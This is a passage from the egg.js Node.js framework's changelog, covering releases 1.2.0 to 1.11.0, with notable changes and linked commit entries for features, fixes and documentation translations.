[[`4993ee8`](http://github.com/eggjs/egg/commit/4993ee8fae81bf14f92c86ac1d4d952d62e1d165)] - docs(quickstart): generator -> async (#1650) (TZ | 天猪 <<atian25@qq.com>>)\n  * [[`8c6f16d`](http://github.com/eggjs/egg/commit/8c6f16d64834d46b0689ce079cc5d71155848ac8)] - docs: how to customize error handler (#1651) (Yiyu He <<dead_horse@qq.com>>)\n  * [[`8e8869a`](http://github.com/eggjs/egg/commit/8e8869a4d73908503cf1f60de3be49461639ca08)] - refactor: upgrade egg-core@4 (#1631) (Yiyu He <<dead_horse@qq.com>>)\n\n## 2017-11-08, Version 1.11.0, @dead-horse\n\n### Notable changes\n\n* **feature**\n  * export global namespace at d.ts @atian25\n\n### Commits\n\n  * [[`b131a4c`](http://github.com/eggjs/egg/commit/b131a4cec51cc783dcd4ccb8756439063c5b875c)] - feat: export global namespace at d.ts (#1633) (TZ | 天猪 <<atian25@qq.com>>)\n\n## 2017-11-08, Version 1.10.1, @dead-horse\n\n### Notable changes\n\n* **fix**\n  * use `app.options` instead of deprecated `app._options`\n* **document**\n  * translate core/cluster-and-ipc.md, thanks @lslxdx\n\n### Commits\n\n  * [[`9eec677`](http://github.com/eggjs/egg/commit/9eec677757ddbde6f7ddcff2c6a698087e07b70e)] - fix: use `app.options` instead of `app._options` (#1625) (Yiyu He <<dead_horse@qq.com>>)\n  * [[`fd1ff63`](http://github.com/eggjs/egg/commit/fd1ff638920fef4a3258767df982b87e70614215)] - test: fix tsc test case (#1620) (Yiyu He <<dead_horse@qq.com>>)\n  * [[`6804bd3`](http://github.com/eggjs/egg/commit/6804bd36cfc7a9bd54b3be2d9ce828d4e951f8b8)] - test: add node 9 and drop node 7 (#1602) (fengmk2 <<fengmk2@gmail.com>>)\n  * [[`3878862`](http://github.com/eggjs/egg/commit/38788621ccf06fd6ac8f4068de3e49c5668e1915)] - docs: translate core/cluster-and-ipc.md (#1594) (lslxdx <<lslxdx@163.com>>)\n\n## 2017-10-24, Version 1.10.0, @popomore\n\n### Notable changes\n\n* **feature**\n  * add Subscription @popomore\n* **document**\n  * multipart example @dead_horse\n  * fix document @atian25 @beilunyang\n  * improve schedule document @atian25\n\n### Commits\n\n  * [[`6dd1594a5`](http://github.com/eggjs/egg/commit/6dd1594a5c300f24e668b3679c7ae8df733b6a39)] - docs: fix egg-scripts (#1552) (TZ | 天猪 <<atian25@qq.com>>)\n  * [[`46ed6fac9`](http://github.com/eggjs/egg/commit/46ed6fac9f94d300a23903a71cfafdb5c8b1ba91)] - feat: add Subscription (#1469) (Haoliang Gao <<sakura9515@gmail.com>>)\n  * [[`c508f9fa7`](http://github.com/eggjs/egg/commit/c508f9fa7dedbc8c3c4f6319b7233a034db463b4)] - docs: fix csrf (#1551) (TZ | 天猪 <<atian25@qq.com>>)\n  * [[`7fb9bbf71`](http://github.com/eggjs/egg/commit/7fb9bbf71219debf35b4e864a65be22e24a0480a)] - docs: fix typo (#1537) (悖论 <<786220806@qq.com>>)\n  * [[`68c0e1a9c`](http://github.com/eggjs/egg/commit/68c0e1a9c053618133d3484043abfb77e3372a22)] - docs: adjust new schedule (#1477) (TZ | 天猪 <<atian25@qq.com>>)\n  * [[`aeae948ec`](http://github.com/eggjs/egg/commit/aeae948ec986f5f7204ad6a0f748403b8e6e6fe1)] - docs: adjust middleware config at framework (#1523) (TZ | 天猪 <<atian25@qq.com>>)\n  * [[`7b37d2393`](http://github.com/eggjs/egg/commit/7b37d2393f59f3c5efbc84cf1d5f51e9332b0cd8)] - docs: multipart example use yield parts() (#1518) (Yiyu He <<dead_horse@qq.com>>)\n  * [[`6846badc8`](http://github.com/eggjs/egg/commit/6846badc8da89b00483aa7be5c69b1cd2f06d797)] - docs: add plugin.js description (#1499) (TZ | 天猪 <<atian25@qq.com>>)\n\n## 2017-09-25, Version 1.9.0, @gxcsoccer\n\n### Notable changes\n\n* **feature**\n  * make cluster client configurable in egg\n  * don’t force logger to use INFO level in prod\n* **document**\n  * correct sample codes, by @Jawnkuin\n  * fix devtools debug, by @atian25\n  * adjust debug docs with new egg-bin debug, by @atian25\n  * fix port should be number, @atian25\n\n### Commits\n\n  * [[`21425e7`](https://github.com/eggjs/egg/commit/21425e7a9c451cfa07f3cb580d0b770eb5b0c890)] - feat: make cluster client configurable in egg (#1459) (gxcsoccer <<gxcsoccer@126.com>>)\n  * [[`d0797b1`](https://github.com/eggjs/egg/commit/d0797b1c2d078d1bea97c104471388bedc5e61c9)] - docs: correct sample codes (#1434) (Jawnkuin <<jawnkuin@gmail.com>>)\n  * [[`6eac07e`](https://github.com/eggjs/egg/commit/6eac07eb287ecf158b2c182a0e36a81fa14700ce)] - refactor: httpclient args tracer to be enforced (#1421) (hui <<kangpangpang@gmail.com>>)\n  * [[`c56274b`](https://github.com/eggjs/egg/commit/c56274bb818526370f857b926d178ff520b3bea8)] - docs(development): fix devtools debug (#1428) (TZ | 天猪 <<atian25@qq.com>>)\n  * [[`e3f29de`](https://github.com/eggjs/egg/commit/e3f29de9bbbfb67c641cf54272883759d7256d89)] - docs(development): adjust debug docs with new egg-bin debug (#1427) (AnzerWall <<AnzerWall@gmail.com>>)\n  * [[`5a9531a`](https://github.com/eggjs/egg/commit/5a9531abbec83fbff08ddb6feb475f87498d2a3d)] - feat: don’t force logger to use INFO level in prod (#1218) (TZ | 天猪 <<atian25@qq.com>>)\n  * [[`95fbd47`](https://github.com/eggjs/egg/commit/95fbd47f4c20797df17dd210f30a40f43d1d8900)] - docs(deployment): port should be number (#1424) (TZ | 天猪 <<atian25@qq.com>>)\n\n## 2017-09-11, Version 1.8.0, @leoner\n\n### Notable changes\n\n* **feature**\n  * support app.httpclient and agent.httpclient auto set tracer\n* **fix**\n  * should extends from egg-core BaseContextClass\n* **document**\n  * English documents `basics/objects`,`core/docs-logger` and `core/httpclient`\n    have been translated by @DarrenWong, @Azard and @gztchan\n  * documents typo fixed and improved by @vincenthou, @waitingsong and @hyj1991\n\n### Commits\n\n  * [[`54be7dc09`](http://github.com/eggjs/egg/commit/54be7dc099f47fb65b9bc3d9bb29de4d70ac25cd)] - docs(core/cluster-and-ipc): fix some typo (#1415) (vincent.hou <<vincenthou365@gmail.com>>)\n  * [[`6cf17c11a`](http://github.com/eggjs/egg/commit/6cf17c11af51220904881ed99aa65cac0f212c2b)] - docs: (core/httpclient): [translate] Done  (#1409) (Darren Wong <<darrenwongf@gmail.com>>)\n  * [[`105e1947e`](http://github.com/eggjs/egg/commit/105e1947ee0863ebd6c0a1111f218b025e0e9989)] - docs: translate basics/objects (#1238) (Weilun Xiong <<azardf4yy@gmail.com>>)\n  * [[`f7c0d8520`](http://github.com/eggjs/egg/commit/f7c0d85209c9e96f7812c4a2996f000a2667770d)] - feat: support app.httpclient and agent.httpclient auto set tracer (#1393) (hui <<kangpangpang@gmail.com>>)\n  * [[`3aaee8fbe`](http://github.com/eggjs/egg/commit/3aaee8fbea4aee8b5c40921670642772835bf40d)] - fix: should extends from egg-core BaseContextClass (#1392) (fengmk2 <<fengmk2@gmail.com>>)\n  * [[`a9936a383`](http://github.com/eggjs/egg/commit/a9936a383174fd0b2c201ee759bc5174486970a1)] - fix: typo (#1388) (waiting <<waiting@xiaozhong.biz>>)\n  * [[`eef30faf6`](http://github.com/eggjs/egg/commit/eef30faf69b41f4a352a592ad65d097698d27303)] - docs: adjust webstorm debug config (#1367) (TZ | 天猪 <<atian25@qq.com>>)\n  * [[`499454379`](http://github.com/eggjs/egg/commit/499454379b2234a80d3946933f7511ac83c292d6)] - docs: curl(url, opts) add parameter introduction (#1351) (#1352) (hyj1991 <<66cfat66@gmail.com>>)\n  * [[`4daf497eb`](http://github.com/eggjs/egg/commit/4daf497eb32c05c73911a01e861b9cf761ede451)] - docs(en/core/docs-logger): finish logger.md translation in English (#1254) (Tony Chan <<gztchan@gmail.com>>)\n  * [[`aaacd56c9`](http://github.com/eggjs/egg/commit/aaacd56c9c60dbf0cbfd0d1fcc77366a3e3993fe)] - docs: remove egg-scripts env default description (#1318) (TZ | 天猪 <<atian25@qq.com>>)\n  * [[`4feae70b8`](http://github.com/eggjs/egg/commit/4feae70b8c8e69890053bff9f3df9cc7024d69cd)] - docs: add egg-scripts to deployment (#1279) (TZ | 天猪 <<atian25@qq.com>>)\n  * [[`08ed1b3c6`](http://github.com/eggjs/egg/commit/08ed1b3c68e242eba187640c9f6cf8a0acd7489f)] - docs(unittest): typo of egg-mock (#1284) (TZ | 天猪 <<atian25@qq.com>>)\n  * [[`734854c84`](http://github.com/eggjs/egg/commit/734854c84ef8b0107df3101b6aa212d96574b317)] - docs(unittest): add bootstrap usage (#1278) (Yiyu He <<dead-horse@users.noreply.github.com>>)\n  * [[`ebbbcd574`](http://github.com/eggjs/egg/commit/ebbbcd574f5bbd4d91bec345e8b35f9adc48d6c0)] - chore: skip docs deploy at ci cron (#1268) (TZ | 天猪 <<atian25@qq.com>>)\n\n## 2017-07-27, Version 1.7.0, @popomore\n\n### Notable changes\n\n* **feature**\n  * Support listen options in config.js\n* **improve**\n  * `app.HttpClient` can be overwritten\n* **document**\n  * Document improvement\n  * English documents have been translated by @gztchan\n\n### Commits\n\n  * [[`dd07cacb2`](http://github.com/eggjs/egg/commit/dd07cacb209565cc8bdc240b2a3bd7f624a3e56c)] - docs: fix typo on CONTRIBUTING.zh-CN.md (#1266) (SuperEwe <<superewe@qq.com>>)\n  * [[`773343061`](http://github.com/eggjs/egg/commit/7733430614d62392fa1b06568e223ce2ae5b3709)] - docs: only deploy docs at 8 (#1252) (TZ | 天猪 <<atian25@qq.com>>)\n  * [[`4f2ebfda8`](http://github.com/eggjs/egg/commit/4f2ebfda81c067ba500ee22ac30c8b201f746cac)] - docs: fix const define (#1249) (TZ | 天猪 <<atian25@qq.com>>)\n  * [[`45bea3cb5`](http://github.com/eggjs/egg/commit/45bea3cb55636a09160bfc66befca476994dacc8)] - docs(core-deployment): translate deployment.md in English (#1235) (Tony Chan <<gztchan@gmail.com>>)\n  * [[`dda386e42`](http://github.com/eggjs/egg/commit/dda386e425ce96019f3d068e66603f80af966571)] - test: add test and doc for listen options (#1246) (Haoliang Gao <<sakura9515@gmail.com>>)\n  * [[`3ef1de952`](http://github.com/eggjs/egg/commit/3ef1de95247aa3e3fdcbda71fe83e58a892a13d6)] - feat: set cluster options, include path, port, hostname (#1231) (Haoliang Gao <<sakura9515@gmail.com>>)\n  * [[`e9f93cf83`](http://github.com/eggjs/egg/commit/e9f93cf83d46fd84c8c6b10ec2e7e3eb2bf24f9d)] - refactor: export app.HttpClient that can be overwritten (#1234) (Haoliang Gao <<sakura9515@gmail.com>>)\n  * [[`96b3786eb`](http://github.com/eggjs/egg/commit/96b3786eb9640c9ec2d71a5a0a0b18ee32e9e3ad)] - docs(core/error-handling): translate error-handling.md in English (#1228) (Tony Chan <<gztchan@gmail.com>>)\n  * [[`c3c9fce55`](http://github.com/eggjs/egg/commit/c3c9fce557a8d8c57b2a5e5391d1c11a81ceeaa7)] - docs(controller): examples use controller class (#1221) (Yiyu He <<dead-horse@users.noreply.github.com>>)\n  * [[`24f279005`](http://github.com/eggjs/egg/commit/24f2790051c0d248f6df9850ffe8513dc11e5780)] - docs: new VScode 1.14 default protocol changed. (#1212) (Anto <<anto17@foxmail.com>>)\n  * [[`2b78b4cf8`](http://github.com/eggjs/egg/commit/2b78b4cf8275171ddf788550745edc3aef948ca7)] - docs: Fix config name from egg-Plugin to eggPlugin in plugin's doc (#1215) (hansen <<hasseyoung@gmail.com>>)\n\n## 2017-07-19, Version 1.6.1, @fengmk2\n\n### Notable changes\n\n* **fix**\n  * make sure config.httpclient.httpAgent.timeout >= 30000, and distinguish\n    options: request, httpAgent and httpsAgent on `config.httpclient`.\n\n### Commits\n\n  * [[`988b8c8`](http://github.com/eggjs/egg/commit/988b8c84d0f63ce0e83e00bd12cff65ebf4f2ff5)] - fix: make sure config.httpclient.httpAgent.timeout >= 30000 (#1165) (fengmk2 <<fengmk2@gmail.com>>)\n  * [[`894005c`](http://github.com/eggjs/egg/commit/894005c8e683e764ec234c915afce89b57343f98)] - docs: (core/i18n): [translate] Done (#1194) (Darren Wong <<darrenwongf@gmail.com>>)\n  * [[`410633b`](http://github.com/eggjs/egg/commit/410633b3e47098abc30d83429895b543431929ec)] - chore: kill ssh-agent after deploy (#1204) (Haoliang Gao <<sakura9515@gmail.com>>)\n  * [[`05f4785`](http://github.com/eggjs/egg/commit/05f47858a6d74041a10539443a9ea2e195826bc4)] - chore: add travis_wait to avoid deploying document timeout (#1201) (Haoliang Gao <<sakura9515@gmail.com>>)\n  * [[`367e1d6`](http://github.com/eggjs/egg/commit/367e1d66ef3bdb49ee41758246cdaf49e04ea140)] - docs: fix typo (#1191) (BingqiChan <<bingqichen@live.cn>>)\n\n## 2017-07-04, Version 1.6.0, @fengmk2\n\n### Notable changes\n\n* **feature**\n  * tsd add ctx.logger and logger.error support Error object\n  * ignore any key contains \"secret\" on dump config files\n  * show who define the property of the config on `run/application_config_meta.json`\n* **fix**\n  * don't cache the intermediate locals for application\n\n### Commits\n\n  * [[`5dc56fa`](http://github.com/eggjs/egg/commit/5dc56fac043eab22187f9ae1dd7e73d2160fd7ae)] - feat: ignore any key contains \"secret\" (#1156) (fengmk2 <<fengmk2@gmail.com>>)\n  * [[`74c8a54`](http://github.com/eggjs/egg/commit/74c8a547cc90939253946a145655996b59373457)] - feat: dump `run/${type}_config_meta.json` (#1155) (Haoliang Gao <<sakura9515@gmail.com>>)\n  * [[`b80bb14`](http://github.com/eggjs/egg/commit/b80bb1405c1f47c5596ff4a2c9540af7447430ec)] - fix: don't cache the intermediate locals for application (#1146) (Jackson Tian <<shyvo1987@gmail.com>>)\n  * [[`7c70beb`](http://github.com/eggjs/egg/commit/7c70beb26ecf2176cda7547f3163fec11aff450f)] - docs: change istanbul to nyc (#1150) (TZ | 天猪 <<atian25@qq.com>>)\n  * [[`c7a87a8`](http://github.com/eggjs/egg/commit/c7a87a8abade84769b34a1ef0ba50a3cc12dec49)] - docs: adjust objects docs (#1140) (TZ | 天猪 <<atian25@qq.com>>)\n  * [[`0052351`](http://github.com/eggjs/egg/commit/005235162dce4b0e87768a201c9a68c4291592d4)] - docs: improve plugin dependencies (#1061) (luicfer <<lucifer4he@gmail.com>>)\n  * [[`4322212`](http://github.com/eggjs/egg/commit/43222127b922b486d8f523230fed82ba453ee8d8)] - docs: add missing class in objects.md (kaiye <<catgecn@gmail.com>>)\n  * [[`daa8227`](http://github.com/eggjs/egg/commit/daa82278332d7617d6ebb3d07e8cdfd1e95cf644)] - feat(tsd): add ctx.logger and logger.error support Error object (#1108) (Eward Song <<eward.song@gmail.com>>)\n  * [[`7c2e436`](http://github.com/eggjs/egg/commit/7c2e43626d93049b5f91f59773ef02c4b0f478b3)] - docs: improve feature describe (#1102) (Yiyu He <<dead-horse@users.noreply.github.com>>)\n  * [[`5ae7814`](http://github.com/eggjs/egg/commit/5ae7814632b1f92d534a496fe4f51c6737447aba)] - chore: comments in english (#1101) (Yiyu He <<dead-horse@users.noreply.github.com>>)\n  * [[`9099be9`](http://github.com/eggjs/egg/commit/9099be91afa806d0a8258441d11e1da2318777ef)] - docs: unify config in quickstart (#1094) (Yiyu He <<dead-horse@users.noreply.github.com>>)\n  * [[`c31bc15`](http://github.com/eggjs/egg/commit/c31bc15097c692d08596a277c69fbd44f9d3e2bf)] - test: wait logger to flush (#1090) (Haoliang Gao <<sakura9515@gmail.com>>)\n  * [[`82d2158`](http://github.com/eggjs/egg/commit/82d2158e4c399ead9567b67dc27d13d1ef2e104e)] - docs: add Enclose.IO to Links (#1089) (Minqi Pan <<pmq2001@gmail.com>>)\n\n## 2017-06-21, Version 1.5.0, @fengmk2\n\n### Notable changes\n\n* **feature**\n  * better TypeScript support, add `index.d.ts` file.\n  * enable overrideMethod middleware by default.\n* **document**\n  * Documents improved.\n\n### Commits\n\n  * [[`1d02601`](http://github.com/eggjs/egg/commit/1d026019df76525d2d9117c260eb5d892388121c)] - tsd: add another properties of FileStream (#1080) (Rwing <<Rwing@rwing.cn>>)\n  * [[`2b1644e`](http://github.com/eggjs/egg/commit/2b1644e6d56e6481ee97bce009c5f53b4dd18441)] - feat: add tsd (#1027) (Eward Song <<eward.song@gmail.com>>)\n  * [[`a4ba2a2`](http://github.com/eggjs/egg/commit/a4ba2a2a1ef7de49e196c01447fd73ab22ed6d34)] - feat: enable overrideMethod middleware by default (#1069) (fengmk2 <<fengmk2@gmail.com>>)\n  * [[`bfb8df5`](http://github.com/eggjs/egg/commit/bfb8df58bcc7d7fe0fd6ff3453efcb54b715b4a0)] - docs: typo (#1060) (chenbin92 <<chen@mothin.com>>)\n  * [[`64d1b00`](http://github.com/eggjs/egg/commit/64d1b0026648e1128f09efb6e6c2cc7f632bf608)] - docs: add chrome devtools debug information (#1050) (仙森 <<dapixp@gmail.com>>)\n  * [[`4e510b2`](http://github.com/eggjs/egg/commit/4e510b22836096a47d562dbd5ca8affd28f94f9e)] - chore: use app.httpRequest() instead of supertest (#1041) (fengmk2 <<fengmk2@gmail.com>>)\n  * [[`78a13d5`](http://github.com/eggjs/egg/commit/78a13d52c3b6e8b40a0015b285cda33a059c0ee4)] - docs: add more description at quickstart (#1042) (TZ | 天猪 <<atian25@qq.com>>)\n  * [[`ef7c864`](http://github.com/eggjs/egg/commit/ef7c864fbddf7e70afbd93a16d5176787328400d)] - docs: add ant.design link (#1037) (Haoliang Gao <<sakura9515@gmail.com>>)\n  * [[`f1b510c`](http://github.com/eggjs/egg/commit/f1b510c34039259c5772021432ab71a7a62b89e8)] - feat: add config.logger.disableConsoleAfterReady (#1001) (fengmk2 <<fengmk2@gmail.com>>)\n  * [[`4890eda`](http://github.com/eggjs/egg/commit/4890eda31b9bc60ea4a1a7f36460ec1bf86dc134)] - docs: Uniform the standards that we should acquire this parsed parame… (#1038) (Ruanyq <<yiqiang0930@163.com>>)\n  * [[`9d705e4`](http://github.com/eggjs/egg/commit/9d705e4687cdb98d327fbd9a1061604828218dfc)] - test: make sure app close (#1030) (fengmk2 <<fengmk2@gmail.com>>)\n  * [[`1d72e37`](http://github.com/eggjs/egg/commit/1d72e3799822e252934d6218a978c2bd21f378d3)] - docs: fix caseStyle link (#1033) (Desen Meng <<mds@xue.bi>>)\n  * [[`9b50725`](http://github.com/eggjs/egg/commit/9b507250725ef3beda0ee51ac0c2bc2b007b2ecb)] - docs: (tutorials/index.md & async-function.md ): [translate] Done (#1028) (Darren Wong <<darrenwongf@gmail.com>>)\n  * [[`3d04199`](http://github.com/eggjs/egg/commit/3d041992912d9aca1eb0edc6b226474022e08236)] - docs: typo (#1029) (Jerry Wu <<perzy_wu@163.com>>)\n  * [[`13b7c19`](http://github.com/eggjs/egg/commit/13b7c19531d772a2b932ada28e186a0dbd0cf5f5)] - test: node 8 (#976) (fengmk2 <<fengmk2@gmail.com>>)\n  * [[`1b108a7`](http://github.com/eggjs/egg/commit/1b108a72a96d3d8241b332b8e728a9ec409efbb1)] - docs: remove api that is from egg-rest (#1022) (Haoliang Gao <<sakura9515@gmail.com>>)\n  * [[`057bc47`](http://github.com/eggjs/egg/commit/057bc47e4c5e3ec8faae0de3807f656fa4ef41d4)] - test: add doc test (#989) (Haoliang Gao <<sakura9515@gmail.com>>)\n  * [[`c6eb7b2`](http://github.com/eggjs/egg/commit/c6eb7b2f59f24fe0c6a787829d33cdf0cd4a2e77)] - doc: fix view config doc (#991) (当轩 <<code.falling@gmail.com>>)\n  * [[`52865b4`](http://github.com/eggjs/egg/commit/52865b47c4d336833ef1151bae9f30867359ceb6)] - docs: devtool inspect at 8.x (#1018) (TZ | 天猪 <<atian25@qq.com>>)\n  * [[`8a120fd`](http://github.com/eggjs/egg/commit/8a120fde73df60e23f8c5559a3281acaf0a393e0)] - docs: remove max time limit at schdule (#995) (TZ | 天猪 <<atian25@qq.com>>)\n  * [[`9084c24`](http://github.com/eggjs/egg/commit/9084c24dd10fcbcd0d436ada9639b59f36dd2edf)] - docs: add plugin list (#988) (Haoliang Gao <<sakura9515@gmail.com>>)\n  * [[`20a5d91`](http://github.com/eggjs/egg/commit/20a5d9127f7454c899f7701f02b04eefa7c61fce)] - test: disable coverage for schedule (#987) (Haoliang Gao <<sakura9515@gmail.com>>)\n  * [[`3de963f`](http://github.com/eggjs/egg/commit/3de963f3881ef6fb9c5b6fa207730c6695853239)] - docs(basics/structure.md): [translate] (#970) (Weilun Xiong <<330815461@qq.com>>)\n  * [[`2f232f3`](http://github.com/eggjs/egg/commit/2f232f30b0ba7e14ab07c43e34d363bac3906a43)] - docs: file must appear after other fiels when using getFileStream (#982) (Yiyu He <<dead-horse@users.noreply.github.com>>)\n\n## 2017-05-28, Version 1.4.0, @dead-horse\n\n### Notable changes\n\n* **feature**\n  * use lru to aovid oom when httpclient dns cache enabled\n* **fix**\n  * fix port is missed when httpclient dns cache enabled\n  * fix request url object will be changed when httpclient dns cache enabled\n  * set maxSockets defautl value to Number.MAX_SAFE_INTEGER\n* **document**\n  * Documents improved. Thanks @DarrenWong, @zousandian, @lslxdx, @Azard, @johnnychen, @coogleyao, @DanielWLam, @m31271n, @Brian175\n\n### Commits\n\n* [[`7370a62`](http://github.com/eggjs/egg/commit/7370a62e190db55dab3fde7f39f621f449301eaa)] - docs: translate tutorials/restful.md (#908) (Darren Wong <<darrenwongf@gmail.com>>)\n* [[`5d8ca65`](http://github.com/eggjs/egg/commit/5d8ca654f311c52fd5faaa939943071c3f69f43f)] - docs: translatebasics/controller.md (#889) (lslxdx <<lslxdx@163.com>>)\n* [[`5b959e0`](http://github.com/eggjs/egg/commit/5b959e0a382491b3111afb66e10b6e866105e0c8)] - docs: translate tutorials/progressive.md to English version (#966) (Darren Wong <<darrenwongf@gmail.com>>)\n* [[`35fa5a9c`](http://github.com/eggjs/egg/commit/35fa5a9c4c2d969f66a5e4df28e1da7f69370709)] - fix: set maxSockets defautl value to Number.MAX_SAFE_INTEGER (#938) (tangyao <<2001-wms@163.com>>)\n* [[`5b6fe2b`](http://github.com/eggjs/egg/commit/5b6fe2b187b2c1a4bcee4693b2b1043f2724fe68)] - feat: use lru to aovid oom in dns cache httpclient (#961) (Yiyu He <<dead-horse@users.noreply.github.com>>)\n* [[`3c5c0b8`](http://github.com/eggjs/egg/commit/3c5c0b8d81bb63166f6592390d14277d3baca283)] - docs: Fix objects.md typo (#969) (三点 <<zousandian@gmail.com>>)\n* [[`2bca50b`](http://github.com/eggjs/egg/commit/2bca50b2217424b8cdacd48550dcc39a31e50cff)] - docs(core/unittest.md): update with app.httpRequest() (#943) (Weilun Xiong <<330815461@qq.com>>)\n* [[`713e033`](http://github.com/eggjs/egg/commit/713e033f90eb39aad8ac48916985396ca5282815)] - docs: app.controller.foo instead of 'foo' (#942) (Yiyu He <<dead-horse@users.noreply.github.com>>)\n* [[`cfc76ec`](http://github.com/eggjs/egg/commit/cfc76ec721460780d703ead1dfdd315ed484e5c8)] - fix spell error from sign to signed (#932) (johnnychen <<johnnychq@gmail.com>>)\n* [[`12499d6`](http://github.com/eggjs/egg/commit/12499d636dd471f35e54aad9f09b5f452ea198bf)] - docs: fix yield db.query for en (#930) (Yao Mengfei <<coogleyao@gmail.com>>)\n* [[`25c7c95`](http://github.com/eggjs/egg/commit/25c7c95bff9eb51baf4f93724444982209872895)] - docs: translate basics/router.md (#896) (lslxdx <<lslxdx@163.com>>)\n* [[`a5c7ac4`](http://github.com/eggjs/egg/commit/a5c7ac462a275c5393f93308a7f31b21cba524a2)] - docs: translate basics/service.md (lslxdx <<lslxdx@163.com>>)\n* [[`7ee5de6`](http://github.com/eggjs/egg/commit/7ee5de6b0ad628332a5c130eb5a405b993a98c60)] - docs: translate basics/extend.md (#884) (DanielLam <<lwd931227@126.com>>)\n* [[`9bf3a65`](http://github.com/eggjs/egg/commit/9bf3a6511469ee85963096836ae8c2421313448d)] - docs: Update env.md (#918) (m31271n <<m31271n@2players.studio>>)\n* [[`b3825f3`](http://github.com/eggjs/egg/commit/b3825f33406c01ebc19b16519eccfca9f60e770f)] - docs: fix objects.md (#928) (Yiyu He <<dead-horse@users.noreply.github.com>>)\n* [[`fd04ea2`](http://github.com/eggjs/egg/commit/fd04ea222af962e7fe9b82d108a0bd6f23b32891)] - docs: add document for built-in objects (#914) (Yiyu He <<dead-horse@users.noreply.github.com>>)\n* [[`6180d5d`](http://github.com/eggjs/egg/commit/6180d5db90047a58222ba24d660c1a19b93648f3)] - docs: use names of constants declared (#923) (Yao Mengfei <<coogleyao@gmail.com>>)\n* [[`02b02e0`](http://github.com/eggjs/egg/commit/02b02e0faf0d423105136723b9d2938a182fd486)] - docs: using a doctools as a external lib (#913) (Haoliang Gao <<sakura9515@gmail.com>>)\n* [[`5113088`](http://github.com/eggjs/egg/commit/51130889ad8d75baa157c43d9b88e7d08c6067fe)] - fix(docs):  yield db.query (#921) (Yao Mengfei <<coogleyao@gmail.com>>)\n* [[`ddd342c`](http://github.com/eggjs/egg/commit/ddd342c84358319aaffe9ee6eab90c2df1a2e9dc)] - docs: translate basic/config.md (#875) (Brian175 <<zhangweilu@buaa.edu.cn>>)\n* [[`ae99e5d`](http://github.com/eggjs/egg/commit/ae99e5d6ee032171d17ce7ce67a8cb3c2f7bd04b)] - fix(docs): basics/structure.md link agent typo (#909) (Weilun Xiong <<330815461@qq.com>>)\n* [[`fac3e0c`](http://github.com/eggjs/egg/commit/fac3e0c7306b1143698c29a3685c8116c36b1434)] - refactor: rename private method name to symbol (#904) (Yu Qi <<njuyuqi@gmail.com>>)\n* [[`8115c57`](http://github.com/eggjs/egg/commit/8115c575ea082a92ebda5e4fd08ba4ad37e47bc0)] - docs: translate docs/source/zh-cn/tutorials/mysql.md  (#883) (Darren Wong <<darrenwongf@gmail.com>>)\n* [[`e13c515`](http://github.com/eggjs/egg/commit/e13c515226566ae3c87c35b575a8e914e75c6a0b)] - Release 1.3.0 (#885) (fengmk2 <<fengmk2@gmail.com>>)\n\n## 2017-05-11, Version 1.3.0, @fengmk2\n\n### Notable changes\n\n  * **document**\n    * Documents improved. Thanks @Rwing, @lslxdx, @solarhell, @magicdawn\n    * API document is out https://eggjs.org/api/\n  * **refactor**\n    * Set coreLogger's consoleLevel to WARN in local env\n\n### Commits\n\n  * [[`bd6681a`](http://github.com/eggjs/egg/commit/bd6681a509f74af7f39b1505962c0d75958ae0d3)] - chore: typo eggg=>egg (#881) (Rwing <<Rwing@rwing.cn>>)\n  * [[`22c9cd9`](http://github.com/eggjs/egg/commit/22c9cd96df19bb43d1681ce0cffc59bc930c8f0f)] - docs: translated & proofread 'middleware.md' (#784) (lslxdx <<lslxdx@163.com>>)\n  * [[`e55a134`](http://github.com/eggjs/egg/commit/e55a13439ec297081d33a7eb2f87ece605581908)] - docs: Add a link to issue template (#853) (Haoliang Gao <<sakura9515@gmail.com>>)\n  * [[`b01d30e`](http://github.com/eggjs/egg/commit/b01d30e33e9b910ee24d69d3b55e2dbe887ff4e3)] - docs: Fix typo. (#869) (jethro <<songjiaxin2008@gmail.com>>)\n  * [[`b3403b5`](http://github.com/eggjs/egg/commit/b3403b56a5635394a4dc9825ef2780850449e573)] - docs: fix view typo (#867) (Tao <<magicdawn@qq.com>>)\n  * [[`5d6e067`](http://github.com/eggjs/egg/commit/5d6e067fc36697b7c01f290bccac06ce21fb4371)] - chore: add quality badge (#857) (仙森 <<chaogui.hcg@alibaba-inc.com>>)\n  * [[`8d6755b`](http://github.com/eggjs/egg/commit/8d6755b33c54d6230d1b20141dd6d043ed6c3897)] - deps: upgrade dependencies (#854) (Haoliang Gao <<sakura9515@gmail.com>>)\n  * [[`bd0a827`](http://github.com/eggjs/egg/commit/bd0a827c38f0a2cff42c8a73909081a1f9cd939a)] - refactor: set consoleLevel WARN of coreLogger in local (#850) (Haoliang Gao <<sakura9515@gmail.com>>)\n  * [[`af174ef`](http://github.com/eggjs/egg/commit/af174efb0a0dfe545849d03f8ec1fbee34559dae)] - docs: Add API document to menu (#845) (Haoliang Gao <<sakura9515@gmail.com>>)\n  * [[`edfc07e`](http://github.com/eggjs/egg/commit/edfc07e841b751a4c195544167f50a2ad56971e8)] - chore: generate puml (#842) (Haoliang Gao <<sakura9515@gmail.com>>)\n\n## 2017-05-04, Version 1.2.1, @popomore\n\n### Notable changes\n\n  * **fix**\n    * loadPlugin can be extended\n\n### Commits\n\n  * [[`13587667`](http://github.com/eggjs/egg/commit/13587667ac019ca516ae11aea728e84966dc57a5)] - fix(loader): loadPlugin can be extended (#836) (Haoliang Gao <<sakura9515@gmail.com>>)\n  * [[`1a027ad7`](http://github.com/eggjs/egg/commit/1a027ad727468d48afe45d1f3ce54de2e4ecfd16)] - test: use assert instead of should (#837) (Haoliang Gao <<sakura9515@gmail.com>>)\n  * [[`89b4df9d`](http://github.com/eggjs/egg/commit/89b4df9d21ddf07efd246145c52141a72e07ad80)] - docs: fix  wrong name in chinese router doc (#833) (Tomatoo <<424203705@qq.com>>)\n\n## 2017-04-28, Version 1.2.0, @popomore\n\n### Notable changes\n\n  * **document**\n    * Documents improved, Thanks @Rwing, @bingqichen, @okoala, @binsee, @lslxdx\n  * **feature**\n    * Move BaseContextClass to egg and add BaseContextLogger [#816](https://github.com/eggjs/egg/pull/816)\n    * Remove logger config in local environment [#695](https://github.com/eggjs/egg/pull/695)\n\n### Commits\n\n  * [[`0757655c`](http://github.com/eggjs/egg/commit/0757655cfed451ab3b1ca5a480fb96a3da908708)] - feat: BaseContextClass add logger (#816) (Yiyu He <<dead-horse@users.noreply.github.com>>)\n  * [[`9871e450`](http://github.com/eggjs/egg/commit/9871e45098ab4927236382656c4ac774eeffcd11)] - docs: only use inspect at 7.x+ (#813) (TZ | 天猪 